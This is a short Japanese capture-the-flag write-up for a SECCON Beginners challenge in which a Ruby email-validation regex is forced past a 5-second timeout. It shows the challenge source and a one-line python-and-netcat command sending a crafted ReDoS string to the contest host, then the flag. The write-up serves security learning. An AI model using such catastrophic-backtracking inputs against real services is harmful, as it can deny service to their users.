あなたのメールアドレスが正しいか調べます.
正規表現でメールアドレスをチェックするプログラムがリモートで動いています
チェックに5秒以上かけさせることが出来ればflagが得られるようです
問題ファイル
#!/usr/bin/env ruby
require 'timeout'
$stdout.sync = true
$stdin.sync = true
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
begin
Timeout.timeout(60) {
Process.wait Process.fork {
puts "I check your mail address."
puts "please puts your mail address."
input = gets.chomp
begin
Timeout.timeout(5) {
if input =~ pattern
puts "Valid mail address!"
else
puts "Invalid mail address!"
end
}
rescue Timeout::Error
exit(status=14)
end
}
case Process.last_status.to_i >> 8
when 0 then
puts "bye."
when 1 then
puts "bye."
when 14 then
File.open("flag.txt", "r") do |f|
puts f.read
end
else
puts "What's happen?"
end
}
rescue Timeout::Error
puts "bye."
end
一部の正規表現では処理にめちゃくちゃ時間がかかる場合があります
https://qiita.com/prograti/items/9b54cf82a08302a5d2c7
今回の正規表現では
[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z
のあたりが怪しいので、とりあえずa@aaa
で冒頭の条件を満たし.-aa
を100個繰り返したテキストを送りつけたところ無事5秒以上かかりflagを得られました
$ python -c "print('a@aaa'+'.-aa'*100)" | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}